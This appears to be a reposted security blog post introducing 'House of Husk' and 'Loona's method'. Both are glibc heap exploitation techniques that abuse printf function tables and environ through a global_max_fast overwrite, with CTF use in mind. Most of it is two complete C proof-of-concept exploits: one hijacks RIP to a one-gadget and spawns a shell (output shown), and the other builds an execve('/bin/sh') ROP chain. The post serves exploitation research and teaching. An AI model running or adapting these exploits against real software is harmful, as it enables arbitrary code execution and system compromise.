House of Husk
2020-04-02 11:15:07 Author: ptr-yudai.hatenablog.com(查看原文) 阅读量:328 收藏

Yesterday I came up with an idea of a new heap exploitation technique. As far as I googled it, nobody had published the technique yet and I named it "House of Husk."

The technique makes it easy to control RIP under the condition that we can malloc/free large chunks which have UAF. It introduces and takes advantage of a little known function table rather than introduce a new exploitation vector.

PoC:

github.com

Japanese version:

ptr-yudai.hatenablog.com

Primitive

register_printf_function

There exists a function named register_printf_function in libc. As the name suggests, it registers a new format string for printf. This function calls __register_printf_specifier and it allocates __printf_arginfo_table in the first time like this:

  if (__printf_function_table == NULL)
    {
      __printf_arginfo_table = (printf_arginfo_size_function **)
        calloc (UCHAR_MAX + 1, sizeof (void *) * 2);
      if (__printf_arginfo_table == NULL)
        {
          result = -1;
          goto out;
        }
      __printf_function_table = (printf_function **)
        (__printf_arginfo_table + UCHAR_MAX + 1);
    }

On the other hand, some functions with format string, such as printf and sprintf, check if __printf_function_table is registered in the following way.

  
  if (__glibc_unlikely (__printf_function_table != NULL
                        || __printf_modifier_table != NULL
                        || __printf_va_arg_table != NULL))
    goto do_positional;

If not, it goes to a fast path which implements the default format string. If registered, it jumps to the slow path in which the registered format is used. In order to check the type of arguments, it calls a function registered in __printf_arginfo_table before using one in __printf_function_table.

Relative overwrite

I've already explained it in this article of House of Corrosion in Japanese. I'll write it briefly in English here.

The principle is that we make global_max_fast a big value using unsorted bin attack. After that, (mostly) all large freed chunks will be listed in "fastbin." global_max_fast is supposed to be smaller, not bigger, so it actually overwrites data out of main_arena.

If you want to overwrite data that is located delta-byte after fastbin, you may just free a chunk whose size is

size = (delta * 2) + 0x20

Husk's method

Premise

House of Husk doesn't depend on the version of libc as long as it has fastbins and unsorted bin attack is available.

  • UAF on a chunk listed in unsorted bin
  • 2 large mallocs in addition to some normal (but a bit large) mallocs (In libc-2.27 requires a 0x9420 and 0x1850-byte malloc)
    • If we can leak the heap address (which is usually the case), we only need 1-unsortedbin-sized mallocs. (such as malloc(0x500))
  • printf with format string (works with an invalid format too like %?)

The detailed condition is up to the situation. Read the PoC.

The good

It's useful when we can allocate only large chunks. As far as I know (and read some writeups) the conventional method requires something like modifying main_arena and overwriting __malloc_hook or __free_hook. It's hard in that it needs to pass the size check of fastbin.

House of Husk works with some simple steps, which is easy to understand as well, and the size check no longer matters.

Exploit

Just take the following steps:

  1. Leak libc address
  2. Make global_max_fast large by unsorted bin attack
  3. Write the address of a fake arginfo table to __printf_arginfo_table by "relative overwrite"
  4. Write a non-null value to __printf_function_table by "relative overwrite"
  5. Call printf with format string

We have to prepare a function pointer in the fake arginfo table at the offset which corresponds to the character code of the format string. In printf_positional called by printf, __printf_arginfo_table[c] will be called and we may get RIP.

PoC

Simple :)





#include <stdio.h>
#include <stdlib.h>

#define offset2size(ofs) ((ofs) * 2 - 0x10)
#define MAIN_ARENA       0x3ebc40
#define MAIN_ARENA_DELTA 0x60
#define GLOBAL_MAX_FAST  0x3ed940
#define PRINTF_FUNCTABLE 0x3f0658
#define PRINTF_ARGINFO   0x3ec870
#define ONE_GADGET       0x10a38c

int main (void)
{
  unsigned long libc_base;
  char *a[10];
  setbuf(stdout, NULL); 

  
  a[0] = malloc(0x500); 
  a[1] = malloc(offset2size(PRINTF_FUNCTABLE - MAIN_ARENA));
  a[2] = malloc(offset2size(PRINTF_ARGINFO - MAIN_ARENA));
  a[3] = malloc(0x500); 
  free(a[0]);
  libc_base = *(unsigned long*)a[0] - MAIN_ARENA - MAIN_ARENA_DELTA;
  printf("libc @ 0x%lx\n", libc_base);

  
  *(unsigned long*)(a[2] + ('X' - 2) * 8) = libc_base + ONE_GADGET;

  
  *(unsigned long*)(a[0] + 8) = libc_base + GLOBAL_MAX_FAST - 0x10;
  a[0] = malloc(0x500); 

  
  free(a[1]);
  free(a[2]);

  
  printf("%X", 0);
  
  return 0;
}

Yay!

ptr@medium-pwn:~/temp$ gcc poc.c && ./a.out 
libc @ 0x7ffff79e4000
$ whoami
ptr

Loona's method

I found a different but similar technique and named it "Loona's method."

Premise

Compred with Husk's method, printf is not longer necessary in Loona's method. Instead, it requires some RW UAFs and more malloc/free.

The good

It's helpful when

  • one gadget doesn't work
  • the binary is statically linked
  • have seccomp

meaning when you want to execute your rop chain.

Exploit

Follow the next steps:

  1. leak libc address (if necessary)
  2. unsorted bin attack to overwrite global_max_fast
  3. free a chunk whose size corresponds to environ
  4. overwrite 1 or 2 bytes of fd to point it to a fake chunk header
  5. prepare the fake chunk header on the stack by using stack leftover for example
  6. malloc two times with the size for environ
  7. the second malloc returns the stack pointer and you can just do rop (read canary if necessary)

Be careful that environ is broken when your rop chain works.

PoC





#include <stdio.h>
#include <stdlib.h>

#define offset2size(ofs) ((ofs) * 2 - 0x10)
#define MAIN_ARENA       0x3ebc40
#define MAIN_ARENA_DELTA 0x60
#define GLOBAL_MAX_FAST  0x3ed940
#define ENVIRON          0x3ee098
#define LIBC_BINSH       0x1b3e9a
#define LIBC_POP_RDI     0x2155f
#define LIBC_POP_RSI     0x23e6a
#define LIBC_POP_RDX     0x1b96
#define LIBC_EXECVE      0xe4e30

unsigned long libc_base, addr_env, ofs_fake;
char *a[10];
int i;

int main (int argc, char **argv, char **envp)
{
  unsigned long fake_size;
  setbuf(stdin, NULL);
  setbuf(stdout, NULL); 

  ofs_fake = (void*)envp - (void*)&fake_size; 

  
  a[0] = malloc(0x500); 
  a[1] = malloc(offset2size(ENVIRON - MAIN_ARENA));
  a[2] = malloc(0x500); 
  free(a[0]);
  libc_base = *(unsigned long*)a[0] - MAIN_ARENA - MAIN_ARENA_DELTA;
  printf("libc @ 0x%lx\n", libc_base);

  
  *(unsigned long*)(a[0] + 8) = libc_base + GLOBAL_MAX_FAST - 0x10;
  a[0] = malloc(0x500); 

  
  free(a[1]);
  addr_env = *(unsigned long*)a[1];
  printf("environ = 0x%lx\n", addr_env);
  *(unsigned long*)a[1] = addr_env - ofs_fake - 8;

  
  fake_size = (offset2size(ENVIRON - MAIN_ARENA) + 0x10) | 1;
  a[1] = malloc(offset2size(ENVIRON - MAIN_ARENA));

  
  a[3] = malloc(offset2size(ENVIRON - MAIN_ARENA));
  for(i = 0; i < 0x20; i++) {
    *(unsigned long*)(a[3] + i*8) = libc_base + LIBC_POP_RDI + 1; 
  }
  *(unsigned long*)(a[3] + i*8) = libc_base + LIBC_POP_RDX; i++;
  *(unsigned long*)(a[3] + i*8) = 0; i++;
  *(unsigned long*)(a[3] + i*8) = libc_base + LIBC_POP_RSI; i++;
  *(unsigned long*)(a[3] + i*8) = 0; i++;
  *(unsigned long*)(a[3] + i*8) = libc_base + LIBC_POP_RDI; i++;
  *(unsigned long*)(a[3] + i*8) = libc_base + LIBC_BINSH; i++;
  *(unsigned long*)(a[3] + i*8) = libc_base + LIBC_EXECVE; i++;
  getchar();

  return 0;
}

Example usage in CTF challenges:


文章来源: https://ptr-yudai.hatenablog.com/entry/2020/04/02/111507
如有侵权请联系:admin#unsafe.sh